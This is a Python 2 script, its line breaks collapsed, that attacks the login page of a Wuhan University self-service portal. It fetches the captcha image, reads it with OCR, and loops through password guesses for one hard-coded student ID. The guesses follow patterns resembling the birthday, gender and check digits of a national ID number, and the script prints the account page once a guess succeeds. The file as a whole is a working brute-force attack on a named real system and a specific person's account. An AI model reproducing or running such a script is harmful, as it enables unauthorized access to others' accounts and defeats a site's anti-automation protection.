python login

# -*- coding: utf-8 -*-from PIL import Imageimport pytesseractimport urllib2import jsonimport cookielibimport urllibimport reimport sysfrom cStringIO import StringIOdef binarize_image(img):    pixdata=img.load()    for y in xrange(img.size[1]):        for x in xrange(img.size[0]):            if pixdata[x,y][0]<100 or pixdata[x,y][1]<100 or pixdata[x,y][2]<100:                pixdata[x,y]=(0,0,0,255)            else:                pixdata[x,y]=(255,255,255,255)    return imgdef outputString():    image=Image.open('e:\\image.jpg')#    image=image.convert('RGBA')#   image=binarize_image(image)#    image=image.convert('L')    return pytesseract.image_to_string(Image.open('e:\\image.jpg'),lang="eng")reload(sys)sys.setdefaultencoding("utf-8")CaptchaUrl = "http://user-serv.whu.edu.cn:8080/selfservice/common/web/verifycode.jsp"PostUrl = "http://user-serv.whu.edu.cn:8080/selfservice/module/scgroup/web/login_judge.jsf"cookie = cookielib.CookieJar()handler = urllib2.HTTPCookieProcessor(cookie)opener = urllib2.build_opener(handler)headers = {    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',    'Accept-Language': 'zh-CN,zh;q=0.8',    'Connection': 'keep-alive',    'Content-Type': 'application/x-www-form-urlencoded',    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',    'Accept-Encoding':'gzip, deflate',    'Cache-Control':'max-age=0',    'Content-Length':'54',    'Host':'user-serv.whu.edu.cn:8080',    'Origin':'http://user-serv.whu.edu.cn:8080',    'Referer':'http://user-serv.whu.edu.cn:8080/selfservice/module/scgroup/web/login_self.jsf?',    'Upgrade-Insecure-Requests':'1',}#data = urllib.urlencode(postData)# 生成post数据 ?key1=value1&key2=value2的形式# 构造request请求#try:#response = opener.open(request)#result = response.read().decode('gb2312')# 由于该网页是gb2312的编码，所以需要解码#print result#print len(result)# 打印登录后的页面#except urllib2.HTTPError, e: #   print e.code#url = "http://user-serv.whu.edu.cn:8080/selfservice/module/webcontent/web/index_self.jsf?"#response = opener.open(url).read().decode('gb2312')#print responseusername = '2017202110039'l=range(2964 , 3199)male=[1,3,5,7,9]female=[0,2,4,6,8]k=range(0,11)for i in l:    passwd=str(i)    if(len(passwd)==3):        passwd='0'+passwd    for m in female:        for n in k:            if(n==10):                passwd = passwd + str(m) + 'X'            else:                passwd=passwd+str(m)+str(n)            print passwd            file = StringIO(opener.open(CaptchaUrl).read())            image= Image.open(file)            s=pytesseract.image_to_string(image,lang="eng")#    s=outputString(image)            postData = {                'act': 'add',                'name': username,                'password': passwd,                'verify': s,            }            data = urllib.urlencode(postData)            request = urllib2.Request(PostUrl, data, headers)            response = opener.open(request)            result = response.read().decode('gb2312')            if len(result)==370:                print passwd,passwd                print result                url = "http://user-serv.whu.edu.cn:8080/selfservice/module/webcontent/web/index_self.jsf?"                response = opener.open(url).read().decode('gb2312')                print response                if len(response)>1000:                    break            passwd=passwd[0:4]